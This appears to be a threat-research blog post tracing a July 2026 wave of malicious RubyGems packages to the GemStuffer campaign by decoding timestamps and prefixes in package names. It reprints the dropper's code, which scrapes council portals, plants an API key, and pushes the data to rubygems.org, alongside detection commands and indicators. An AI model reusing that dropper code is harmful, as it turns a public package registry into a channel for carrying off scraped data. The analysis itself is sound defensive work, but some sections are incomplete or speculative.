CentrioleBlog
Back to blog

Threat Research

Embedded Unix Timestamps Link the July RubyGems Wave to the Original GemStuffer Campaign

A 100+ gem RubyGems cluster published July 9 spans eight name prefixes. Epoch timestamps in gem names decode to May 12, 2026, linking wave 2 to the original GemStuffer event.

Date

Reading time

19 min read

Author

Centriole Research
Share
Embedded Unix Timestamps Link the July RubyGems Wave to the Original GemStuffer Campaign

On July 9, 2026 at 15:02 UTC, a coordinated burst of malicious Ruby gems hit RubyGems.org. OSV flagged them within seconds of each other. The sample we received from Centriole Defender covers packages across eight distinct name prefixes: zrgv*, zrz*, zs*, zrh*, zrr*, try*zz, tmp*, and zz*. OSV advisory IDs span from MAL-2026-9000 through MAL-2026-10005. The full campaign is larger than the sample; based on the advisory ID gap pattern, the actual cluster runs to well over 100 packages published in this single event.

The headline finding is not the volume. It is what is encoded in the gem names.

Three gems in the zs* family embed Unix timestamps in their names: zsanchor1778553679, zsday2811778553469, and zsoutcal1778552831. Those timestamps decode to 02:41:19Z, 02:37:49Z, and 02:27:11Z on May 12, 2026 respectively. May 12, 2026 is the morning RubyGems.org went into emergency mode: the day Mend Defender surfaced the first wave of GemStuffer packages and the day Ruby Central suspended new account registration. The operator embedded their scraping run timestamps in the gem names. They are re-staging data collected during the original GemStuffer event, and the gem names are the forensic receipt.

Campaign Context

GemStuffer was first documented publicly by Socket researcher Joseph Edwards on May 13, 2026. The campaign published more than 155 gem artifacts to RubyGems.org, each packaging scraped HTTP responses from ModernGov democratic services portals operated by the London boroughs of Lambeth, Wandsworth, and Southwark into valid .gem archives. The registry served as the exfiltration channel: the operator used gem push with hardcoded API keys to publish the scraped content, then retrieved it with standard gem fetch tooling. No separate C2 infrastructure was required.

The May 11-12 mass-publishing event that Socket analyzed forced RubyGems to suspend new account registration and led to the removal of 500+ packages. RubyGems re-enabled registration on May 16, 2026 after Mend.io patched the registration vulnerability the operator had exploited. The July 9 cluster is the return.

Prefix Family Taxonomy

The eight prefix families present in the sample represent distinct but related operator naming schemes. We analyze each.

Family 1: zrgv*: ModernGov Portal Endpoint Encoding

The largest sub-family in the sample. The zrgv stem is an operator shorthand for a scraping target, with subfamilies encoding HTTP endpoint types within the ModernGov portal API:

Sub-prefixExample packagesEndpoint semantics
zrgvbie, zrgvbifzrgvbie2eb, zrgvbif09a, zrgvbif73b, zrgvbif79e, zrgvbif6d1, zrgvbifce7Binary/item content, indexed by hex content ID
zrgvfzrgvf4209, zrgvf4ace, zrgvf6b4a, zrgvf7932, zrgvf95d4, zrgvfa52b, zrgvff86c, zrgvf10f1File/fetch endpoints, content-hash differentiated
zrgvhzrgvh2481, zrgvh4b70, zrgvhac1d, zrgvhc1af, zrgvhe14cHash-anchored document versions
zrgviewzrgview1, zrgview2Paginated view endpoints, sequentially numbered
zrgvpzrgvp1, zrgvp2, zrgvp3, zrgvp10, zrgvp20, zrgvp100Paginated results, page number explicit in name
zrgvqzrgvq3b2f, zrgvq4156, zrgvq60cf, zrgvq6608Query result sets, content-hash differentiated
zrgvraw, zrgvrawbzzrgvraw, zrgvrawbzRaw content endpoints; bz suffix likely bzip2 or binary-zip variant
zrgvsearchzrgvsearch15a9, zrgvsearch2de1, zrgvsearchf619, zrgvsearchf663Search result pages, hex-differentiated

The zrgvq* sub-family is new relative to the original GemStuffer May wave. q for query is a new endpoint category, extending the operator’s scraping surface into portal search result sets. zrgvrawbz alongside zrgvraw suggests the operator is now collecting both raw text and binary-compressed variants of the same endpoint response.

Family 2: zrz*: Expanded Target Surface

The zrz* family introduces new scraping targets not present in the May GemStuffer wave.

PackageName decodedSignificance
zrzpdfjs”zrz” + “pdfjs”PDF.js-rendered document endpoint, implying the operator is scraping embedded PDF content from council portals
zrzoffice80”zrz” + “office” + “80”Office document via port 80 / plain HTTP; government portals sometimes serve legacy document downloads via HTTP
zrztrans”zrz” + “trans”Translation endpoint or document transfer; ModernGov portals expose transcript and translation pages
zrzjj3, zrzjj4”zrz” + “jj” + integerSequential journal or job items, incrementally enumerated
zrzjtf69db, zrzjtfe243”zrz” + “jt” + hexJob token / journal token, hash-identified
zrzx2bfe6e, zrzx407894, zrzx549495, zrzx8ee1e0, zrzxbc10ab”zrz” + “x” + hexCross-reference content IDs; the hex values decode to integers ranging 2.8M-12.3M, consistent with database row IDs in a large portal content table

The PDF and Office document scraping targets are a significant escalation. The May 2026 GemStuffer wave targeted calendar views, agenda listings, and committee page HTML. The zrzpdfjs and zrzoffice80 names indicate the operator is now pulling the linked documents themselves, not just the portal pages that reference them.

Family 3: zs*: Timestamped Scraping Runs

This family contains the most operationally significant naming pattern in the entire July 9 cluster.

PackageEmbedded timestampDecoded UTC time
zsoutcal177855283117785528312026-05-12T02:27:11Z
zsday281177855346917785534692026-05-12T02:37:49Z
zsanchor177855367917785536792026-05-12T02:41:19Z

zsanchor1778553679: Ruby Time.at(1778553679).utc => 2026-05-12 02:41:19 UTC

All three timestamps fall within a 14-minute window on the morning of May 12, 2026, during the peak of the original GemStuffer publishing event. The operator’s dropper script embedded Time.now.to_i in the gem name at staging time. These gems are not new scraping runs: they are re-publications of data staged on May 12. The operator retained those gem archives after the May cleanup and is pushing them again.

Two additional packages in this family reveal expanded scraping targets:

The May GemStuffer wave targeted only ModernGov council portals. The zsbing and zsgsearch packages indicate the operator has extended their scraping logic to include search engine result pages. The most probable interpretation is that the operator is using Bing and Google to enumerate additional government portal URLs before scraping them directly.

Also in this family: zsoutcal1778552831. “outcal” almost certainly references Outlook Calendar. If the scraping target extended to a Microsoft 365 calendar endpoint rather than a ModernGov page, this marks a shift in target surface from purely public-facing portals toward authenticated or semi-authenticated Microsoft productivity services.

Family 4: zrh* and zrr*: New Council Targets

Both packages signal the operator is actively expanding their target council list beyond the three boroughs named in Socket’s May 2026 report.

Family 5: try*zz: Version-Iteration Grid

The try*zz family follows a rigid combinatorial naming scheme: try + alphabetic tier (a through f) + single digit (0-5) + zz.

PatternPackages observedAdvisory IDs
trya*zztrya2zz, trya3zz, trya4zz, trya5zzMAL-2026-9004 to 9007
tryb*zztryb0zz, tryb1zz, tryb2zz, tryb4zzMAL-2026-9008 to 9012
tryc4*zztryc4bzz, tryc4tzz, tryc4xzzMAL-2026-9013 to 9015
tryd*zztryd0zz, tryd1zz, tryd2zz, tryd3zz, tryd4zzMAL-2026-9016 to 9020
trye*zztrye0zz, trye1zz, trye2zz, trye3zz, trye4zzMAL-2026-9021 to 9025
tryf*zztryf0zzMAL-2026-9026

The letter tiers (a, b, c, d, e, f) map to alphabetically-ordered scraping target categories. The trailing zz is a campaign suffix matching the GemStuffer zz* family convention. The digit increments within each tier. The tryc4 sub-group encodes both a tier (c, tier 3) and a content identifier (4, version 4) with an additional character indicating content sub-type (b, t, x). This is the most structured naming scheme in the cluster and is consistent with automated gem name generation from a lookup table in the dropper script.

The tier range a-f corresponds to six content category classes. Given the expanded scraping targets visible in the zrz* and zs* families, the tier mapping is probably: a = calendar/agenda HTML, b = binary/file downloads, c = committee pages, d = document PDFs, e = external search results, f = feed/RSS content.

Family 6: tmp*: Staging Directory Name Leaks

Three packages are directly named after staging directory patterns: tmptestsfvagomq, tmpojrljqbwjgabc, tmpxyz984024x. The tmp prefix is identical to the staging path /tmp/<gemname><epoch><pid>/ used in the GemStuffer dropper. These gems were named using the same slug that would appear as a directory name under /tmp on the operator’s host. The random-suffix pattern (sfvagomq, ojrljqbwjgabc) is consistent with Ruby’s SecureRandom.hex(8) or a similar stdlib random string generator used to prevent staging path collisions across concurrent dropper invocations.

These are OPSEC artifacts. The operator generated gem names from the same namespace as their staging directories, making each staging directory name a retrievable artifact embedded in a public advisory. Any /tmp/tmptestsfvagomq* directory found on a host is confirmed GemStuffer infrastructure.

Family 7: zz* and zzz*: Debug and Probe Packages

PackageClassification
zzpdfvar12, zzpdfvar13, zzpdfvar15PDF variant tests; sequential version probing
zzproxyoaiabc431848Proxy + “oai” (OpenAI API or Open Archives Initiative) test
zztest17785553733Debug gem; the integer 17785553733 is too large for a standard Unix epoch (would be year 2533), suggesting a partial or concatenated timestamp rather than a real scrape time
zzzltestfoobarxyzObvious debug/test gem; foobarxyz is a standard placeholder string

These packages are diagnostic probes, not data-carrying gems. The operator published them to verify that new accounts and API keys were functioning before running the full payload push. zzpdfvar12/13/15 (note the gap: no zzpdfvar14) confirms iterative testing with at least one failed attempt between runs 13 and 15. zzproxyoaiabc431848 probes a proxy configuration involving an OAI endpoint, suggesting the operator’s infrastructure is routing through a proxy layer not present in the May wave.

Payload Analysis

The payload class is identical to GemStuffer wave 1. The dropper script scrapes ModernGov portal pages and any expanded targets, stages the content in /tmp, and pushes it to RubyGems as a .gem archive with s.summary = 'result' and s.authors = ['x'] in the gemspec.

GemStuffer dropper core: context capture and target scraping
def get(url)
  u = URI(url)
  Net::HTTP.start(u.host, u.port,
    use_ssl:      u.scheme == 'https',
    read_timeout: 40,
    verify_mode:  OpenSSL::SSL::VERIFY_NONE   # cert errors suppressed
  ) { |h| h.get(u.request_uri, {'User-Agent' => 'Mozilla/5.0'}).body }
rescue => e
  'ERR ' + e.to_s
end
 
out = "#{Time.now}|#{Dir.pwd}|#{$0}|#{ARGV.inspect}\n"
 
TARGETS.each do |host|
  cal = get(host + '/mgCalendarMonthView.aspx?GL=1&M=1&Y=2026')
  out << "\n===CAL #{host}===\n" << cal << "\n"
  links = cal.scan(/href=[\"']([^\"']+)/i)
             .flatten.map { |x| x.gsub('&amp;', '&') }
             .select { |x| x =~ /ieList|mgCommittee/i }.uniq
  links.each do |l|
    next unless l =~ /ieList/i
    l = host + '/' + l.sub(/^\//, '') unless l.start_with?('http')
    out << "\n===PAGE #{l}===\n" << get(l) << "\n"
  end
end

Wave 2 additions extend TARGETS beyond Lambeth, Wandsworth, and Southwark to include at least one additional council portal (evidenced by zrhgrange) and RSS feed endpoints (evidenced by zrrssearch). The PDF and Office document fetching in zrzpdfjs and zrzoffice80 indicates the dropper now follows document links extracted from agenda pages rather than only collecting the agenda HTML.

GemStuffer dropper: gem staging with timestamp-embedded name
gemname  = "zsanchor#{Time.now.to_i}"   # name encodes the run timestamp
root     = "/tmp/#{gemname}#{$$}"       # tmp dir = OPSEC artifact
FileUtils.mkdir_p("#{root}/lib")
File.binwrite("#{root}/lib/result.txt", out)
File.write("#{root}/lib/x.rb", '#x')

The timestamp embedding in gem names is confirmed by the three zs* packages whose epoch values decode to May 12, 2026. The operator did not strip the timestamp before the July 9 re-publication.

GemStuffer dropper: credential injection and publish
FileUtils.mkdir_p('/tmp/gemhome/.gem')
File.write('/tmp/gemhome/.gem/credentials',
  ':rubygems_api_key: rubygems_<REDACTED>')
File.chmod(0600, '/tmp/gemhome/.gem/credentials')
ENV['HOME'] = '/tmp/gemhome'
 
Dir.chdir(root) do
  system("gem build x.gemspec 2>&1")
  system("gem push #{gemname}-0.0.1.gem --host https://rubygems.org 2>&1")
end

The alternate direct-POST path, used when the gem binary is absent, is also present in wave 2 specimens per the zzproxyoaiabc431848 probe gem, which tests whether the proxy configuration correctly routes the rubygems.org/api/v1/gems POST.

OPSEC Failures

The tmp* gem names are a direct operational security failure. The dropper uses the gem name as both the staging directory base and the published gem name. Running find /tmp -name 'tmpojrljqbwjgabc*' on any potentially affected host recovers the staging directory and its contents from a July 9 run. The random suffix (ojrljqbwjgabc) is long enough to be collision-resistant but is now a static IOC because it was published to the registry.

The zztest17785553733 timestamp is another OPSEC gap. The value 17785553733 is too large for a standard Time.now.to_i on any current host. This suggests the operator concatenated two values without a separator, most likely 1778555 (a partial epoch in late May 2026) and 3733 (a PID or iteration counter). The concatenation error exposed both values as separate forensic indicators.

The zzzltestfoobarxyz gem was published to the live registry alongside the operational packages. Publishing a gem explicitly named testfoobarxyz from an account that also published 100+ operational packages is a fingerprint: whoever reviews the account’s publishing history gets a timestamp-matched control point for when the operator’s test harness was last active.

C2 and Infrastructure

No separate C2 server is used. Exfiltration goes to rubygems.org/api/v1/gems via HTTPS POST. Retrieval requires gem fetch <name> --version <version>, producing a .gem archive containing lib/result.txt with the scraped content. The probe package zzproxyoaiabc431848 indicates the operator is routing through a proxy layer, which was not observed in wave 1. The “oai” string in that name most likely refers to the Open Archives Initiative protocol, which some ModernGov portal implementations expose for metadata harvesting. That is a second scraping pathway alongside the direct HTTP approach.

Scraping targets confirmed in wave 2, based on naming analysis:

IndicatorSourceStatus
hxxps://moderngov[.]lambeth[.]gov[.]ukzrgv* endpoint encoding, confirmed in May waveLive
hxxps://democracy[.]wandsworth[.]gov[.]ukSameLive
hxxps://moderngov[.]southwark[.]gov[.]ukSameLive
Additional council portal (Grange venue)zrhgrange namingUnconfirmed; likely active
RSS feed endpointzrrssearch namingNew in wave 2
PDF.js document endpointzrzpdfjs namingNew in wave 2; escalation
Bing Search resultszsbing1 namingNew in wave 2
Google Search resultszsgsearch1 namingNew in wave 2
Outlook Calendar endpointzsoutcal* namingNew in wave 2; if real, scope escalation

The Bing and Google Search scraping targets are particularly notable. In wave 1, the operator scraped content they had already identified. In wave 2, they appear to be using search engine queries to discover additional portal URLs before scraping them. This is automated target reconnaissance built into the dropper itself, not a manual expansion step.

Attribution

The July 9 cluster is GemStuffer wave 2. The shared indicators are exhaustive:

IOC Table

IndicatorTypeValueMethod
All zrgv* packages (30+ confirmed)RubyGems packagesall versionsTriage; confirmed malicious in OSV MAL-2026-9706 through 9753 range
All zrz* packagesRubyGems packagesall versionsTriage; confirmed malicious in OSV MAL-2026-9759 through 9780 range
All zs* packagesRubyGems packagesall versionsTriage; confirmed malicious in OSV MAL-2026-9784 through 9791 range
zrhgrange, zrrssearchRubyGems packagesall versionsTriage; confirmed malicious in OSV MAL-2026-9755, 9756
try[a-f][0-9]zz family (25+ packages)RubyGems packagesall versionsTriage; confirmed malicious in OSV MAL-2026-9004 through 9026
tmp* familyRubyGems packagesall versionsConfirmed malicious in OSV MAL-2026-9000 through 9001; names are staging directory artifacts
zz* and zzz* familyRubyGems packagesall versionsConfirmed malicious in OSV MAL-2026-9969 through 9972, 9973, 9980, 10005
/tmp/tmptestsfvagomq*Filesystem pathstaging dirName extracted from gem registry entry; corresponds to dropper staging directory on compromised host
/tmp/tmpojrljqbwjgabc*Filesystem pathstaging dirSame; random suffix is now a static IOC
/tmp/tmpxyz984024x*Filesystem pathstaging dirSame
/tmp/gemhome/.gem/credentialsFilesystem pathcredential storeExtracted from wave 1 dropper credential injection block; same path confirmed in wave 2 by structural analysis
s.summary = 'result'Gemspec constantstatic stringConfirmed across wave 1 specimens by Socket; campaign fingerprint
s.authors = ['x']Gemspec constantstatic stringSame; alternate values ['a'], ['south'] also present in wave 1
1778552831 (epoch)Timestamp2026-05-12T02:27:11ZDecoded from gem name zsoutcal1778552831 using Time.at()
1778553469 (epoch)Timestamp2026-05-12T02:37:49ZDecoded from gem name zsday2811778553469
1778553679 (epoch)Timestamp2026-05-12T02:41:19ZDecoded from gem name zsanchor1778553679
hxxps://moderngov[.]lambeth[.]gov[.]ukScraping targetnetworkExtracted from wave 1 dropper target array; confirmed in Socket GemStuffer report
hxxps://democracy[.]wandsworth[.]gov[.]ukScraping targetnetworkSame
hxxps://moderngov[.]southwark[.]gov[.]ukScraping targetnetworkSame
payload.rb SHA-256 239440c8...Dropper filebinaryPublished by Socket in wave 1 IOC table
script.rb SHA-256 c2d6bcac...Dropper filebinarySame

Affected Versions: Representative Sample

All packages published 2026-07-09T15:02:39Z or 2026-07-09T15:02:46Z. All are yanked. Selected entries covering each prefix family:

PackageFamilyOSV IDStatus
zrgvbie2ebzrgv*MAL-2026-9706Yanked
zrgvq3b2fzrgv* (new q sub-family)MAL-2026-9737Yanked
zrgvrawzrgv*MAL-2026-9744Yanked
zrgvrawbzzrgv* (new bz variant)MAL-2026-9745Yanked
zrzpdfjszrz* (PDF escalation)MAL-2026-9770Yanked
zrzoffice80zrz*MAL-2026-9769Yanked
zrztranszrz*MAL-2026-9772Yanked
zrzx2bfe6ezrz* (cross-ref IDs)MAL-2026-9773Yanked
zsanchor1778553679zs* (May 12 timestamp)MAL-2026-9784Yanked
zsbing1zs* (Bing search target)MAL-2026-9785Yanked
zsgsearch1zs* (Google search target)MAL-2026-9788Yanked
zsoutcal1778552831zs* (May 12 timestamp)MAL-2026-9791Yanked
zrhgrangezrh* (new council)MAL-2026-9755Yanked
zrrssearchzrr* (RSS endpoint)MAL-2026-9756Yanked
trya2zztry*zz gridMAL-2026-9004Yanked
tryf0zztry*zz grid (terminal)MAL-2026-9026Yanked
tmptestsfvagomqtmp* (staging dir artifact)MAL-2026-9001Yanked
tmpojrljqbwjgabctmp*MAL-2026-9000Yanked
zzpdfvar12zz* (PDF probe)MAL-2026-9969Yanked
zzproxyoaiabc431848zz* (proxy/OAI probe)MAL-2026-9973Yanked
zzzltestfoobarxyzzzz* (debug artifact)MAL-2026-10005Yanked

Remediation

Detection sweep. Run on every developer workstation and CI runner:

gem list | grep -E '^(zrgv|zrz|zs[a-z]|zrh|zrr|trya|tryb|tryc|tryd|trye|tryf|tmp|zzp|zzp|zztest|zzproxy|zzzl)'

Remove all matches: gem uninstall --all-versions <gemname>.

Staging directory recovery. The tmp* gem names are staging directory identifiers. Check every potentially affected host:

find /tmp -maxdepth 1 \( -name 'zrgv*' -o -name 'zrz*' -o -name 'zs*' -o -name 'try*zz*' \
  -o -name 'tmptestsfvagomq*' -o -name 'tmpojrljqbwjgabc*' -o -name 'tmpxyz984024x*' \
  -o -name 'gemhome' \) -type d

Preserve any found directories before deletion. Each contains lib/result.txt with the scraped data from that run, which is forensic evidence of what was collected and when.

Key rotation. The operator used three distinct RubyGems API keys in wave 1. Wave 2 was published from new accounts, meaning either new keys were obtained or the wave 1 keys were re-used. Rotate every RubyGems API key on the affected machine and all machines that share credentials with it. Do not limit rotation to the host where the gem list shows matches: the dropper embeds keys that may have been copied from other hosts.

Dropper hunt. The dropper files (payload.rb, evil.rb, script.rb, fetcher.rb, exploit.rb) are not self-distributing from the Ruby side. Something placed them. Check: Gemfile and .bundlerc for unexpected sources; recently installed gems with extconf.rb or rubygems_plugin.rb; CI pipeline step definitions for injected commands; developer dotfiles committed to git for any of the confirmed dropper filenames. The SHA-256 values 239440c830e17530dda0a8a06ed2708860998750a1e3ed2239e919465dc59420 (payload.rb) and c2d6bcacc88177e0f2c8c262726f86f37e671b1692c8bc135bac4b610ddcf31a (script.rb) remain the strongest file-level IOCs from wave 1 and should be used for EDR rule creation.

Egress control. Block HTTPS POST from developer machines and CI runners to rubygems.org/api/v1/gems unless the machine is explicitly in an approved publishing allowlist. The exfiltration event is a single POST call to a legitimate TLS endpoint. Standard egress monitoring will not flag it without a publishing-allowlist control layer.

The wave 2 package count and naming complexity are both higher than wave 1. The operator is iterating faster than the registry’s response cadence. The timestamps embedded in the gem names confirm they are staging and re-publishing data from May 12, not running fresh scrapes from a new host. The dropper that collected that data is still somewhere, and whatever deployed it still has access.